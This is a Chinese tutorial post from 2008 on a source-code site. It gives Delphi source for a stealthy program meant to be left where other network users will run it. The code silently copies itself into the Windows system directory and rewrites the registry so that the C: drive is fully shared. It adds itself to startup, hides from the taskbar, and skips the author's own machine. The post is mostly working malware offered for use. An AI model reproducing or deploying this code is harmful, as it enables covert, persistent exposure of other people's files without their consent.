如何让C盘每次启动后都是完全共享
点击次数:45 次 发布日期:2008-11-09 08:39:09 作者:源代码网
|
源代码网推荐 此程序当网络上其他用户执行后,会自己复制一份到该用户Windows的system目录下,,并修改该机的注册表,使该机的C盘自动改为完全共享,且每次启动机子后都会重新修改注册表,当然,为了不让别人看出执行的程序,该程序执行时不会在任务栏显示,本身也不回显,执行一秒钟后程序自动退出,不易被发觉。 源代码网推荐 来看源程序吧,该程序在Delphi5.0中通过: 源代码网推荐 首先将mainform的BorderStyle属性设为bsNone,由于要修改注册表及复制文件,再在uses中加入 Registry,shellapi; 源代码网推荐 大家注意程序中的注释: 源代码网推荐 源代码网推荐 procedure Tmainform.FormShow(Sender: TObject); 源代码网推荐 var 源代码网推荐 MyReg:TRegistry; 源代码网推荐 mysyspath:Pchar; 源代码网推荐 F:TShFileOpStruct; 源代码网推荐 file_To,file_From:string; 源代码网推荐 begin 源代码网推荐 //得到用户机系统目录 源代码网推荐 GetMem(MySysPath,255); 源代码网推荐 GetSystemDirectory(MySysPath,255); 源代码网推荐 //文件名 file_To:=mysyspath "Sysdef.exe"; 源代码网推荐 //复制目标文件名 file_From:=application.ExeName; 源代码网推荐 //复制源文件名 源代码网推荐 //以下为注册表修改 源代码网推荐 MyReg:=TRegistry.Create; 源代码网推荐 MyReg.RootKey :=HKEY_LOCAL_MACHINE; 源代码网推荐 try 源代码网推荐 if not MyReg.OpenKey ("SOFTWAREMicrosoftWindowsCurrentVersionNetworkLanManC",True) then ; 源代码网推荐 //指定子键能否打开,如不能则创建它,该子键包含硬盘共享参数 源代码网推荐 if filesearch("wz.txt",MySysPath)="" then 源代码网推荐 //搜索有否wz.txt文件,有则不执行,该判断用于自己的机子,防止自己被黑,因而在自己的系统目录下建立此文件,则不会被修改 源代码网推荐 begin 源代码网推荐 MyReg.WriteInteger("Flags",258);//共享为完全共享 源代码网推荐 MyReg.WriteInteger("Type",0); 源代码网推荐 MyReg.WriteString("Path","C:"); 源代码网推荐 MyReg.WriteString("Remark","随便你想写什么"); 源代码网推荐 MyReg.CloseKey; 源代码网推荐 end; 源代码网推荐 if not MyReg.OpenKey ("SOFTWAREMicrosoftWindowsCurrentVersionRun",True) then ; 源代码网推荐 begin 源代码网推荐 MyReg.WriteString("Sysdef",file_To);//将程序加载到启动中,每次开机自动执行 源代码网推荐 end; 源代码网推荐 finally 源代码网推荐 MyReg.Free;//释放注册表资源 源代码网推荐 end; 源代码网推荐 //以下为拷贝文件 源代码网推荐 with F do 源代码网推荐 begin 源代码网推荐 wnd:=application.Handle; 源代码网推荐 pFrom:=pchar(file_From); 源代码网推荐 pTo:=pchar(file_To); 源代码网推荐 if FileSearch("sysdef.exe",mysyspath)="" then 源代码网推荐 wFunc:=FO_COPY;//文件是否存在,不存在则复制 源代码网推荐 fFlags:=FOF_SILENT;//不显示Copy动画 源代码网推荐 end; 源代码网推荐 if ShFileOperation(F)<>0 then ; //此处为文件COPY失败的操作,此程序里为空操作 源代码网推荐 timer1.Enabled :=true; 源代码网推荐 end; 源代码网推荐 源代码网推荐 procedure Tmainform.FormCreate(Sender: TObject); 源代码网推荐 begin 源代码网推荐 //Form不可见 源代码网推荐 Application.ShowMainForm:=false; 源代码网推荐 //程序不出现在任务栏 源代码网推荐 SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW); 源代码网推荐 end; 源代码网推荐 源代码网推荐 procedure Tmainform.Timer1Timer(Sender: TObject); 源代码网推荐 begin 源代码网推荐 //一秒钟后程序退出 源代码网推荐 close; 源代码网推荐 application.Terminate; 源代码网推荐 end; 源代码网推荐 源代码网推荐 源代码网推荐 程序完成后,将之放于显眼的地方,只要网络上的其他机子执行此程序后便会被修改,它的C盘可是赤裸裸的展现在你面前哟。 好了,小小程序,献丑了! (另注: 编译好的程序名为games,将之拷入根目录下可以很好的运行,但是有可能出错,将之拷入某盘任意目录下即可正常运行。经过我的试验,改为不同的文件名,需要的环境就不一样。我也有点纳闷,有可能是程序或者Windows的Bug。例如: c:games.exe运行出错,拷到c:ddgames.exe则不会出错,还希望高手指点:) 源代码网推荐 源代码网供稿. |
